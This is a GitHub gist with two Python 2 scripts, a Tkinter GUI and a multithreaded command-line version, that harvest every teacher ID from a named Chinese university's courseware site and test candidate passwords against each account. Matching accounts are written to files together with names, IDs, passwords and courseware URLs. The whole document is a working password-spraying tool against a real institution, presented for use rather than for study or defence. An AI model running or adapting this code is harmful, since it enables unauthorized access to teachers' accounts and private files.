Last active
August 29, 2015 14:19
-
-
Save axiaoxin/89d55235c7b005245434 to your computer and use it in GitHub Desktop.
验证教师课件密码
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding:utf-8 -*- | |
| ''' | |
| Created on 2011-10-3 | |
| @author: AshIn | |
| ''' | |
| from Tkinter import * | |
| import ScrolledText | |
| import re | |
| import threading | |
| import time | |
| import tkFileDialog | |
| import tkSimpleDialog | |
| import tkMessageBox | |
| import urllib2 | |
| import webbrowser | |
| def cn(str): | |
| return str.decode('utf-8') | |
| root = Tk() | |
| root.title(cn("CUIT教师课件密码验证器1.0")) | |
| right_info = [] | |
| CHECK_OVER = False | |
| CHECKING = True | |
| tip_label = Label(root, text = cn("(^-^) CUIT教师课件密码验证器1.0 -- by Mini-Snake-AshIn (^-^)"), fg='blue', font='Verdana').pack(fill=X, pady=10) | |
| info_frame = Frame(root) | |
| display = Text(info_frame, height=10) | |
| scroll = Scrollbar(info_frame) | |
| scroll.config(command = display.yview) | |
| display.config(yscrollcommand = scroll.set) | |
| info_frame.pack() | |
| scroll.pack(side = RIGHT, fill = Y) | |
| display.pack(fill = X) | |
| tip_label = Label(root, text = cn("\n(^-^) 请填写必要的相关信息 (^-^)\n"), fg='navy').pack(fill=X) | |
| input_frame = [Frame(root),Frame(root),Frame(root),Frame(root)] | |
| mainpage_url_label = Label(input_frame[0], text = cn("*教师列表页面URL:")).pack(side=LEFT) | |
| mainpage_e = StringVar() | |
| mainpage_e.set('http://wlcc.cuit.edu.cn/ShJsMd.asp') | |
| mainpage_url_entry = Entry(input_frame[0], width=46, textvariable = mainpage_e)#课件url | |
| mainpage_url_entry.pack(side=LEFT) | |
| mainpage_url_label = Label(input_frame[1], text = cn("*密码验证页面URL:")).pack(side=LEFT) | |
| check_login_e = StringVar() | |
| check_login_e.set('http://wlcc.cuit.edu.cn/Share/ChkLgn.asp') | |
| check_login_url_entry = Entry(input_frame[1], width=46, textvariable = check_login_e).pack(side=LEFT) | |
| password_label = Label(input_frame[2], text = cn("*输入待验证的密码:"), font="Verdana").pack(side=LEFT) | |
| password_e = StringVar() | |
| password_entry = Entry(input_frame[2], width=46, textvariable = password_e).pack(side=LEFT)#密码验证URl | |
| causeware_label = Label(input_frame[3], text = cn("课件URL:")).pack(side=LEFT) | |
| causeware_e = StringVar() | |
| causeware_entry = Entry(input_frame[3], width=46, textvariable = causeware_e).pack(side=LEFT) | |
| for i in range(len(input_frame)): | |
| input_frame[i].pack(pady=5) | |
| def stop_check(): | |
| global CHECKING | |
| CHECKING = False | |
| #提交所有表单并验证、过滤 | |
| def login_check(): | |
| global right_info | |
| right_info = [] | |
| global CHECKING | |
| CHECKING = True | |
| mainpage_url = mainpage_e.get() | |
| check_login_url = check_login_e.get() | |
| if not mainpage_url: | |
| tkMessageBox.showwarning(cn("警告"), cn("必须填写教师列表页面URL")) | |
| if not check_login_url: | |
| tkMessageBox.showwarning(cn("警告"), cn("必须填写密码验证页面URL")) | |
| else: | |
| try: | |
| display.insert(END, cn("\n正在连接网络...")) | |
| display.see(END) | |
| mainpage_content = urllib2.urlopen(mainpage_url).read() | |
| pattern = re.compile(r'ID=(.*?)>(.*?)<') | |
| ids_names_list = re.findall(pattern, mainpage_content) | |
| except Exception,e: | |
| display.insert(END, cn("\n网络连接出错")) | |
| display.see(END) | |
| tkMessageBox.showerror(cn("网络错误"), cn("网络连接失败:")+e) | |
| #得到以id和姓名为元组的列表 | |
| if not len(ids_names_list): | |
| display.insert(END, cn("\n获取教师信息失败\n")) | |
| display.see(END) | |
| tkMessageBox.showerror(cn("获取失败"), cn("无法获取教师信息,请检查教师列表页面URL填写是否正确")) | |
| else: | |
| ids_names_list.sort() | |
| display.insert(END, cn("\n教师信息获取成功")) | |
| display.see(END) | |
| out=tkMessageBox.askyesno(cn("是否导出"), cn("教师信息获取成功,是否导出网页数据到文本?")) | |
| if out: | |
| all_path = tkFileDialog.asksaveasfilename(title=cn("选择导出文件保存路径"), filetypes=[('Text','.txt'), ('All','*')], initialfile=cn("页面所有老师信息.txt")) | |
| all = open(all_path, 'w') | |
| for i in ids_names_list: | |
| all.writelines('NO.' + str(ids_names_list.index(i)+1) + ' NAME:'+i[1]+' ID:'+i[0]+'\n'+"http://wlcc.cuit.edu.cn/Share/FileMan.asp?ID="+i[0]+'\n\n') | |
| all.close() | |
| display.insert(END, cn("\n成功保存到:")+all_path) | |
| display.see(END) | |
| out=tkMessageBox.showinfo(cn("成功"), cn("页面所有教师信息保存成功!")) | |
| display.insert(END, cn("\n开始验证:")) | |
| display.see(END) | |
| start_time = time.time() | |
| ############################################################################ | |
| def check_it(): | |
| for i in range(len(ids_names_list)): | |
| if not CHECKING: | |
| break | |
| post_datas = "txtId=" + ids_names_list[i][0] + "&txtMM=" + password_e.get() | |
| try: | |
| display.insert(END, cn('\n%d. 正在验证 %s 的ID: %s') % (i+1, ids_names_list[i][1].decode("gbk"), ids_names_list[i][0])) | |
| display.see(END) | |
| request = urllib2.Request(url = check_login_url, data = post_datas) | |
| content = urllib2.urlopen(request).read() | |
| if 'alert' not in content: | |
| right_info.append(ids_names_list[i]) | |
| except Exception, e: | |
| display.insert(END, cn("\n出错 : ")) | |
| display.insert(END, e) | |
| display.see(END) | |
| tkMessageBox.showerror(cn("错误"), e) | |
| if not right_info: | |
| display.insert(END, cn("\n结束验证! 用时%d秒! 无结果!") % (time.time() - start_time)) | |
| display.see(END) | |
| else: | |
| display.insert(END, cn("\n结束验证! 用时%d秒! 查看已验证的结果请点击‘显示验证结果’按钮") % (time.time() - start_time)) | |
| display.see(END) | |
| global check_thread | |
| check_thread = threading.Thread(target=check_it, args = ()) | |
| check_thread.start() | |
| global CHECK_OVER | |
| CHECK_OVER = True | |
| ########################################################################### | |
| def output_right_info_on_screen(): | |
| if not CHECK_OVER: | |
| tkMessageBox.showwarning(cn("警告"), cn("还没有验证密码哪来的结果!!")) | |
| else: | |
| if len(right_info): | |
| display.delete('1.0', END) | |
| display.insert(END, cn("密码为%s的老师验证结果如下:\n\n") % password_e.get()) | |
| for info in right_info: | |
| display.insert(END, info[1].decode("gbk") + " ID:" + info[0] + '\n') | |
| display.insert(END, cn("课件地址 http://wlcc.cuit.edu.cn/Share/FileMan.asp?ID=")+ info[0] + '\n\n') | |
| display.see(END) | |
| display.insert(END, cn("\n以上是密码为%s的老师姓名和ID,共计人数:%s人\n") % (password_e.get(), len(right_info))) | |
| display.see(END) | |
| else: | |
| display.insert(END, cn("\n没有验证到有人使用%s作为密码") % password_e.get()) | |
| display.see(END) | |
| file_opt = options = {} #文件选项 | |
| options['filetypes'] = [('All', '.*'), ('Text', '.txt')] | |
| options['initialfile'] = cn('教师课件密码信息.txt') | |
| options['parent'] = root | |
| options['title'] = cn('请选择导出文本保存路径') | |
| def get_result(): | |
| if not CHECK_OVER: | |
| tkMessageBox.showwarning(cn('警告'), cn('请先进行密码验证')) | |
| else: | |
| tkMessageBox.showinfo(cn('提示'), cn('替换覆盖上次导出的文件可将本次结果追加到上次结果中~')) | |
| try: | |
| display.insert(END, cn("\n导出验证结果到本地文件")) | |
| display.see(END) | |
| save_path = tkFileDialog.asksaveasfilename(**file_opt) #选择保存文件路径 | |
| info_file = open(save_path, "a") | |
| display.insert(END, cn("\n正在导出...")) | |
| display.see(END) | |
| info_file.write("===========================PASSWORD = %s========================\n" % (password_e.get())) | |
| for info in right_info: | |
| try: | |
| info_file.write(info[1] + " : " + info[0] + '\n') | |
| info_file.write("http://wlcc.cuit.edu.cn/Share/FileMan.asp?ID="+ info[0] + '\n\n') | |
| except Exception,e: | |
| display.insert(END, cn("\n文件保存出错 ")) | |
| display.see(END) | |
| tkMessageBox.showerror(cn('错误'), cn('文件保存出错:')+e) | |
| break | |
| info_file.write("===========================OVER COUNT:%d==========================\n\n\n"%len(right_info)) | |
| info_file.close() | |
| display.insert(END, cn("\n结果已导出到:")+save_path) | |
| display.see(END) | |
| tkMessageBox.showinfo(cn('成功'), cn('导出成功!')) | |
| except Exception, e: | |
| display.insert(END, cn("\n结果导出失败")) | |
| display.see(END) | |
| tkMessageBox.showerror(cn('错误'), cn('文件导出失败:')+e) | |
| def clear_all(): | |
| display.delete('1.0', END) | |
| password_e.set('') | |
| mainpage_e.set('') | |
| check_login_e.set('') | |
| causeware_e.set('') | |
| def clear_pw(): | |
| if password_e.get(): | |
| password_e.set('') | |
| else: | |
| tkMessageBox.showwarning(cn("警告"), cn('你还没填密码呢~')) | |
| def fill(): | |
| mainpage_e.set('http://wlcc.cuit.edu.cn/ShJsMd.asp') | |
| check_login_e.set('http://wlcc.cuit.edu.cn/Share/ChkLgn.asp') | |
| def open_causeware(): | |
| causeware_url = causeware_e.get() | |
| if causeware_url: | |
| webbrowser.open(causeware_url) | |
| else: | |
| tkMessageBox.showwarning(cn('警告'), cn('请先验证密码,并填写验证通过的URL!')) | |
| def quit(): | |
| global check_thread | |
| if check_thread.isAlive(): | |
| tkMessageBox.showwarning(cn("警告"), cn("请先停止验证再退出!")) | |
| else: | |
| exit = tkMessageBox.askyesno(cn("退出程序"), cn("你也舍得退出?")) | |
| if exit: | |
| CHECKING = False | |
| global root | |
| root.destroy() | |
| button_frame = [Frame(root), Frame(root), Frame(root)] | |
| start_btn = Button(button_frame[0], text=cn("开始验证"), command=login_check).pack(side=LEFT) | |
| stop_btn = Button(button_frame[0], text=cn("停止验证"), command=stop_check).pack(side=LEFT) | |
| clear_screen_btn = Button(button_frame[1], text=cn("清空屏幕"), command=lambda:display.delete("1.0", END)).pack(side=LEFT) | |
| clear_all_btn = Button(button_frame[1], text=cn("清空课件URL"), command=lambda:causeware_e.set('')).pack(side=LEFT) | |
| clear_pw_btn = Button(button_frame[1], text=cn("清空密码"), command=clear_pw).pack(side=LEFT) | |
| clear_all_btn = Button(button_frame[1], text=cn("清空所有"), command=clear_all).pack(side=LEFT) | |
| fill_btn = Button(button_frame[1], text=cn("恢复默认URL"), command=fill).pack(side=LEFT) | |
| result_btn = Button(button_frame[2], text=cn("显示验证结果"), command=output_right_info_on_screen).pack(side=LEFT) | |
| result_btn = Button(button_frame[2], text=cn("导出结果到文本"), command=get_result).pack(side=LEFT) | |
| exit_btn = Button(button_frame[2], text=cn("退出"), command=quit).pack(side=LEFT) | |
| causeware_btn = Button(input_frame[3], text=cn("访问课件"), command=open_causeware).pack(side=LEFT,padx=1) | |
| button_frame[0].pack(pady=5) | |
| button_frame[1].pack(pady=5) | |
| button_frame[2].pack(pady=5) | |
| if __name__ == '__main__': | |
| fill() | |
| root.wm_resizable(False, False) #can not resize | |
| root.mainloop() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # !/usr/bin/env python | |
| # -*- coding:utf-8 -*- | |
| import Queue | |
| import urllib2 | |
| import threading | |
| import re | |
| import time | |
| import sys | |
| #先抓取所有老师名单页面的内容并提取ID | |
| def get_id_and_name_list(): | |
| try: | |
| mainpage_url = 'http://wlcc.cuit.edu.cn/ShJsMd.asp' | |
| mainpage_content = urllib2.urlopen(mainpage_url).read() | |
| pattern = re.compile(r'ID=(.*?)>(.*?)<') | |
| #提取所有老师ID | |
| id_and_name_list = re.finditer(pattern, mainpage_content) | |
| return id_and_name_list | |
| except Exception, e: | |
| print e | |
| raw_input() | |
| sys.exit() | |
| #保存数据 | |
| def save_data(name, id, pwd, url): | |
| data = open('%s.txt'%pwd, 'a') | |
| data_format = 'name:%s\tid:%s\tpwd:%s\turl:%s\n\n'%(name, id, pwd, url) | |
| data.write(data_format) | |
| data.close() | |
| #验证密码 | |
| def do_check(name, id, pwd): | |
| print u'%s:正在验证%s的密码'%(threading.currentThread().getName(), name.decode('gbk')) | |
| check_login_url = 'http://wlcc.cuit.edu.cn/Share/ChkLgn.asp' | |
| post_datas = "txtId=%s&txtMM=%s"%(id, pwd) | |
| request = urllib2.Request(url = check_login_url, data = post_datas) | |
| content = urllib2.urlopen(request).read() | |
| #密码错误会有一个alert,没有则密码正确进入了页面 | |
| if 'alert' not in content: | |
| save_data(name, id, pwd, 'http://wlcc.cuit.edu.cn/Share/FileMan.asp?ID=%s'%(id)) | |
| #线程池 | |
| class CheckManager(object): | |
| def __init__(self, id_and_name_list, pwds, thread_num = 5): | |
| self.pwds = pwds | |
| self.check_queue = Queue.Queue() | |
| self.threads = [] | |
| #按数量将要处理的数据和处理方法加入工作队列 | |
| self.__init_check_queue(id_and_name_list) | |
| #按数量将启动的线程加入线程池中 | |
| self.__init_thread_pool(thread_num) | |
| def __init_check_queue(self, the_list): | |
| for item in the_list: | |
| #将处理函数和参数元组加入队列,以便Check线程中重新调用 | |
| for pwd in self.pwds: | |
| self.check_queue.put((do_check, (item.group(2), item.group(1), pwd))) | |
| def __init_thread_pool(self, thread_num): | |
| for i in range(thread_num): | |
| #线程自启动并加入线程列表 | |
| self.threads.append(Check(self.check_queue)) | |
| #等待所有线程运行完毕 | |
| def wait_all_complete(self): | |
| for t in self.threads: | |
| if t.isAlive(): | |
| t.join() | |
| class Check(threading.Thread): | |
| def __init__(self, check_queue): | |
| threading.Thread.__init__(self) | |
| self.check_queue = check_queue | |
| self.start() | |
| def run(self): | |
| while True: | |
| try: | |
| #取出函数对象和对应的每次不同的参数 | |
| check, args = self.check_queue.get(block=False) #block为True调用者将阻塞,直到队列出现可用的空闲,为False时,队列空时引发异常。 | |
| #重新调用 | |
| check(*args) | |
| self.check_queue.task_done() | |
| except: | |
| break | |
| if __name__ == "__main__": | |
| id_and_name_list = get_id_and_name_list() | |
| pwds = raw_input("p4ssw0rds:").split() | |
| thread_num = input('thread num:') | |
| start = time.time() | |
| check_manager = CheckManager(id_and_name_list, pwds, thread_num) | |
| check_manager.wait_all_complete() | |
| print 'OK! Use %s seconds!'%(time.time() - start) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment